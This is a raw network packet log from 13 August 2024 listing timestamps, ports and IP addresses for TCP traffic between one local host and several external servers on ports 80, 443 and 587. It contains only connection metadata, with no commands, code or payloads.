Aug 13, 2024 20:24:59.390923977 CEST	80	49177	132.226.247.73	192.168.2.22
Aug 13, 2024 20:24:59.391450882 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:24:59.402529955 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:59.407759905 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:59.558949947 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:59.657210112 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.657294989 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.657366991 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.663264990 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.663301945 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.765023947 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:59.805350065 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.813705921 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.813740015 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.960627079 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.960937977 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.961016893 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.962001085 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.980784893 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:24:59.986435890 CEST	80	49177	132.226.247.73	192.168.2.22
Aug 13, 2024 20:24:59.986579895 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:00.005997896 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:00.010977030 CEST	80	49181	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:00.011049032 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:00.011382103 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:00.016671896 CEST	80	49181	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:00.132917881 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.133013964 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:00.144484043 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:00.144515038 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.145723104 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.266098022 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:00.308543921 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.373375893 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.373620033 CEST	443	49180	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:00.373684883 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:00.374286890 CEST	49180	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:00.388864994 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:25:00.393764973 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:25:01.382674932 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:25:01.388129950 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:01.388225079 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:01.388365030 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:01.389195919 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:01.389231920 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:01.590224028 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:25:01.863455057 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:01.867578983 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:01.867614985 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:02.001244068 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:02.001378059 CEST	443	49182	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:02.001703978 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:02.002024889 CEST	49182	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:02.017302036 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:25:02.023355007 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:25:02.023438931 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:25:02.040517092 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:02.045433998 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:02.045526981 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:02.045598030 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:02.050458908 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:03.663494110 CEST	80	49181	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:03.683389902 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:03.683453083 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:03.683556080 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:03.683914900 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:03.683926105 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:03.874996901 CEST	80	49181	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:03.875236988 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:04.169137955 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:04.172280073 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:04.172323942 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:04.331048965 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:04.331165075 CEST	443	49184	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:04.331237078 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:04.331705093 CEST	49184	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:04.346033096 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:04.351898909 CEST	80	49181	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:04.351967096 CEST	49181	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:04.378734112 CEST	49185	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:04.384390116 CEST	80	49185	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:04.384464979 CEST	49185	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:04.384572029 CEST	49185	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:04.389849901 CEST	80	49185	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:13.230700970 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:13.253173113 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:13.253276110 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:13.253364086 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:13.253755093 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:13.253789902 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:13.446448088 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.412420988 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:14.412545919 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.413281918 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:14.413346052 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.413945913 CEST	80	49183	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:14.414007902 CEST	49183	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.420319080 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:14.423466921 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:14.423527956 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:14.542486906 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:14.542711020 CEST	443	49186	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:14.542840958 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:14.543191910 CEST	49186	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:14.581774950 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.589581013 CEST	80	49187	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:14.589673996 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.589778900 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:14.596005917 CEST	80	49187	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:16.753338099 CEST	80	49187	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:16.753515005 CEST	80	49187	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:16.753593922 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:16.773307085 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:16.773365974 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:16.773580074 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:16.773880959 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:16.773914099 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:17.241770983 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:17.244590044 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:17.244649887 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:18.333303928 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:18.333599091 CEST	443	49188	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:18.333679914 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:18.334359884 CEST	49188	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:18.358386040 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:18.368472099 CEST	80	49187	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:18.368561983 CEST	49187	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:18.390482903 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:18.399451971 CEST	80	49189	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:18.399552107 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:18.399682999 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:18.404738903 CEST	80	49189	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:19.203609943 CEST	80	49189	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:19.223320007 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.223359108 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.223457098 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.223854065 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.223866940 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.405601978 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:19.700814009 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.713746071 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.713768959 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.822367907 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.822602987 CEST	443	49190	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:19.822695017 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.830796003 CEST	49190	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:19.933085918 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:19.938460112 CEST	80	49189	132.226.8.169	192.168.2.22
Aug 13, 2024 20:25:19.938529968 CEST	49189	80	192.168.2.22	132.226.8.169
Aug 13, 2024 20:25:19.977335930 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:19.983397961 CEST	80	49191	132.226.247.73	192.168.2.22
Aug 13, 2024 20:25:19.983479977 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:19.983536005 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:19.988626003 CEST	80	49191	132.226.247.73	192.168.2.22
Aug 13, 2024 20:25:20.669493914 CEST	80	49191	132.226.247.73	192.168.2.22
Aug 13, 2024 20:25:20.684883118 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:20.684927940 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:20.684989929 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:20.685290098 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:20.685303926 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:20.871975899 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:21.150662899 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:21.153933048 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:21.153995037 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:21.301722050 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:21.301845074 CEST	443	49192	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:21.301903963 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:21.302440882 CEST	49192	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:21.316674948 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:21.324359894 CEST	80	49191	132.226.247.73	192.168.2.22
Aug 13, 2024 20:25:21.324445963 CEST	49191	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:25:21.350166082 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:21.355182886 CEST	80	49193	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:21.355268955 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:21.355319977 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:21.360662937 CEST	80	49193	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:25.747591019 CEST	80	49185	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:25.747694016 CEST	49185	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:25.763489008 CEST	49185	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:25.768425941 CEST	80	49185	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:25.798530102 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:25.803529024 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:25.803610086 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:25.803679943 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:25.808533907 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:26.251801968 CEST	80	49193	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:26.266783953 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.266848087 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.266957998 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.267410994 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.267443895 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.456686020 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.731298923 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.735129118 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.735189915 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.873613119 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.873858929 CEST	443	49195	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:26.880265951 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.881376982 CEST	49195	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:26.901895046 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.908237934 CEST	80	49193	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:26.908441067 CEST	49193	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.937618017 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.943322897 CEST	80	49196	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:26.943428993 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.943600893 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:26.948590994 CEST	80	49196	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:30.782433987 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:30.801184893 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:30.801269054 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:30.801657915 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:30.801891088 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:30.801920891 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:30.980798960 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:31.864541054 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:31.864801884 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:31.867202044 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:31.867258072 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:31.871303082 CEST	80	49194	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:31.871368885 CEST	49194	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:31.872004986 CEST	80	49196	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:31.909145117 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:31.909257889 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:31.909348965 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:31.909781933 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:31.909809113 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:31.927282095 CEST	80	49196	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:31.927442074 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.347274065 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:32.352313995 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:32.352374077 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:32.380152941 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:32.384628057 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:32.384704113 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:32.495826960 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:32.496083975 CEST	443	49197	188.114.96.3	192.168.2.22
Aug 13, 2024 20:25:32.496326923 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:32.496921062 CEST	49197	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:25:32.527404070 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:32.527451038 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:32.527534008 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:32.528126955 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:32.528151035 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:32.528675079 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:32.528789043 CEST	443	49198	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:32.528848886 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:32.529422045 CEST	49198	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:32.547662020 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.552891016 CEST	80	49196	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:32.552956104 CEST	49196	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.651313066 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.656306982 CEST	80	49200	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:32.656380892 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.656517029 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:32.662580967 CEST	80	49200	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:33.400182009 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.400288105 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:33.408560991 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:33.408603907 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.409035921 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.414134026 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:33.460501909 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.641635895 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.641825914 CEST	443	49199	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:33.642030001 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:33.649795055 CEST	49199	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:36.762876987 CEST	80	49200	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:36.781488895 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:36.781575918 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:36.781662941 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:36.782250881 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:36.782282114 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:36.971155882 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:37.279381037 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:37.346086979 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:37.346122026 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:37.621572971 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:37.621830940 CEST	443	49201	188.114.97.3	192.168.2.22
Aug 13, 2024 20:25:37.622039080 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:37.901202917 CEST	49201	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:25:37.916565895 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:37.922334909 CEST	80	49200	193.122.6.168	192.168.2.22
Aug 13, 2024 20:25:37.922409058 CEST	49200	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:25:38.247370005 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.247437954 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:38.247507095 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.255415916 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.255449057 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:38.870071888 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:38.870270967 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.880393028 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.880428076 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:38.880974054 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:38.885118008 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:38.928510904 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:39.114308119 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:39.114425898 CEST	443	49202	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:39.114489079 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:39.115468979 CEST	49202	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:48.130157948 CEST	49203	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:48.135457993 CEST	587	49203	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:48.135560036 CEST	49203	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:48.265800953 CEST	49203	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:48.271284103 CEST	587	49203	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:48.271363020 CEST	49203	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:48.300611019 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:48.300662994 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:48.300734043 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:48.301301003 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:48.301316977 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:49.752274990 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:49.808670044 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:49.808702946 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:49.809391022 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:49.809397936 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:50.216061115 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:50.216415882 CEST	443	49204	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:50.216542006 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:50.217001915 CEST	49204	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:50.238070965 CEST	49205	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:25:50.245069981 CEST	587	49205	208.91.198.143	192.168.2.22
Aug 13, 2024 20:25:50.245198011 CEST	49205	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:25:50.418741941 CEST	49205	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:25:50.595305920 CEST	587	49205	208.91.198.143	192.168.2.22
Aug 13, 2024 20:25:50.598711967 CEST	587	49205	208.91.198.143	192.168.2.22
Aug 13, 2024 20:25:50.598788977 CEST	49205	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:25:50.603560925 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:50.603627920 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:50.603708029 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:50.604329109 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:50.604366064 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:51.215755939 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:51.219789982 CEST	49206	443	192.168.2.22	149.154.167.220
